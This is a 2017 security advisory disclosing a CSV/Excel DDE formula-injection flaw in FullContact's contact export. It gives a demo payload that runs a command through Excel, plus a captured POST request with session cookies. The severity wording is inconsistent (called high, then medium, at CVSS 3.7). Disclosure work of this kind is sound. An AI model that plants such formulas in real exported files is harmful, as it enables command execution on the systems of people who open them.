FullContact BB #2 - CSV Excel Macro Injection Vulnerability

Type vulnerlab
Reporter SaifAllah benMassaoud - (http://www.vulnerability-lab.com/show.php?user=SaifAllahbenMassaoud)
Modified 2017-01-19T00:00:00


                                            Document Title:
FullContact BB #2 - CSV Excel Macro Injection Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
FullContact is the most powerful fully-connected contact management platform for professionals and enterprises 
who need to master their contacts and be awesome with people. FullContact’s cross-platform suite of Apps and 
APIs enhance contacts with 360-degree insights, while keeping them organized, in-sync, up-to-date, and safe.

(Copy of the Vendor Homepage: https://www.fullcontact.com/about/ )

Abstract Advisory Information:
The vulnerability laboratory core research team discovered a cvs excel macro injection vulnerability in the official FullContact web-application.

Vulnerability Disclosure Timeline:
2016-05-06: Researcher Notification & Coordination (Saif Ben Massoudi - Evolution Security GmbH)
2016-05-04: Vendor Notification (FullContact Security Team)
2016-06-13: Vendor Response/Feedback (FullContact Security Team)
2016-06-15: Vendor Fix/Patch (FullContact Service Developer Team)
2016-07-01 Security Acknowledgements (FullContact Security Team)
2017-01-19: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Product: FullContact - CSV Export Contacts (Web-Application) 2016 Q3

Exploitation Technique:

Severity Level:

Technical Details & Description:
A code injection web vulnerability has been discovered in the official FullContact online service web-application.

The vulnerability allows remote attackers to send malicious csv files by usage of the Microsoft Excel DDE function.
Exploitation of the csv excel macro injection vulnerability in export contact (outlook csv format) allows remote 
attackers to launch arbritary commands on the victims system. The code is get embed to the context of the csv file 
that executes the malicious context of a potential local or remote attacker.

The security risk of the issue is estimated as high with a cvss (common vulnerability scoring system) count of 3.7.
Exploitation of the vulnerability requires no privileged web-application user accounts and only low user interaction. 
Successful exploitation of the vulnerability results in embed execution of system specific code via malicious csv 
file to compromise session date or to execute system specific malicious office macro codes.

Request Method(s):
[+] POST

Vulnerable Service(s):
[+] app.fullcontact.com

Vulnerable Module(s):
[+] /data/exportContacts

Proof of Concept (PoC):
The cvs code inject web vulnerability can be exploited by local and remote attackers with low user interaction.
For security demonstration or to reproduce the issue follow the provided information and steps below to continue.

--- Payload For Demo (Open Calculator) ---
=cmd|' /C calc'!A0

PoC: Exploitation
<label class="custom-radio" for="outlook">
<input id="outlook" name="format-option" value="outlook-csv" data-bind="checked: format" type="radio">
<div class="face"></div>

--- PoC Session Logs [POST] ---
Host: app.fullcontact.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://app.fullcontact.com/
Cookie: sails.sid=s%3AhnUMzqru9XRKPQ2TY9521iVy.%2Bx4RVSauQMzNk3Uv6v7Oa%2Fc%2FiXShGg5bPtCnh8RJS38; _fc_tok=3265c18d9692c2bd907c6cd2bff8c9c388d2b1f7; _fc_uv=ocyLz4cpGdX%252FAtroBdbsF7I0oawTiJWZO8KIlKHtul3poEjCOVclJv4pqwj9r9ZyHnSgo2N4N72UP51qgDo8Fl%252BVEhdjMkm0kbzrKPkJmYZo8rudBxErhGmI7zfUjza4Mc0xNdPpymKlOXYyJAHsEL2LQngR4JVwxIpCj643fu8%253D; _ga=GA1.2.172885891.1471062595; _gat=1; SnapABugRef=https%3A%2F%2Fapp.fullcontact.com%2F%20https%3A%2F%2Faccounts.google.com%2Fsignin%2Fchallenge%2Fsl%2Fpassword; SnapABugHistory=1#; SnapABugVisit=1#1471062596; optimizelyEndUserId=oeu1471062596232r0.08574373953651326; optimizelySegments=%7B%22298588916%22%3A%22ff%22%2C%22298732921%22%3A%22referral%22%2C%22298816152%22%3A%22false%22%7D; optimizelyBuckets=%7B%7D; __uvt=; _hp2_ses_props.1605541862=%7B%22r%22%3A%22https%3A%2F%2Faccounts.google.com%2Fsignin%2Fchallenge%2Fsl%2Fpassword%22%2C%22ts%22%3A1471062596299%2C%22d%22%3A%22app.fullcontact.com%22%2C%22h%22%3A%22%2F%22%7D; _hp2_id.1605541862=0604888091875533.8931973786322616.8482250678156272; ajs_user_id=null; ajs_group_id=null; ajs_anonymous_id=%227783f001-b6f9-451a-bd7e-a4441ebf72f8%22; uvts=4uK5uZcqI9HuQ3fL
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 335
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="FullContact Outlook-CSV of 1 contact at 2016-08-13 04.30.31 GMT.csv"
Content-Type: text/csv
Date: Sat, 13 Aug 2016 04:30:31 GMT
Server: nginx/1.4.6 (Ubuntu)
Vary: Accept-Encoding
x-frame-options: SAMEORIGIN
X-Powered-By: FullContact
Connection: keep-alive

PoC: Video

Security Risk:
The security risk of the csv excel macro injection vulnerability in the official fullcontact web-application is estimated as medium. (CVSS 3.7)

Credits & Authors:
SaifAllah benMassaoud - (http://www.vulnerability-lab.com/show.php?user=SaifAllahbenMassaoud)

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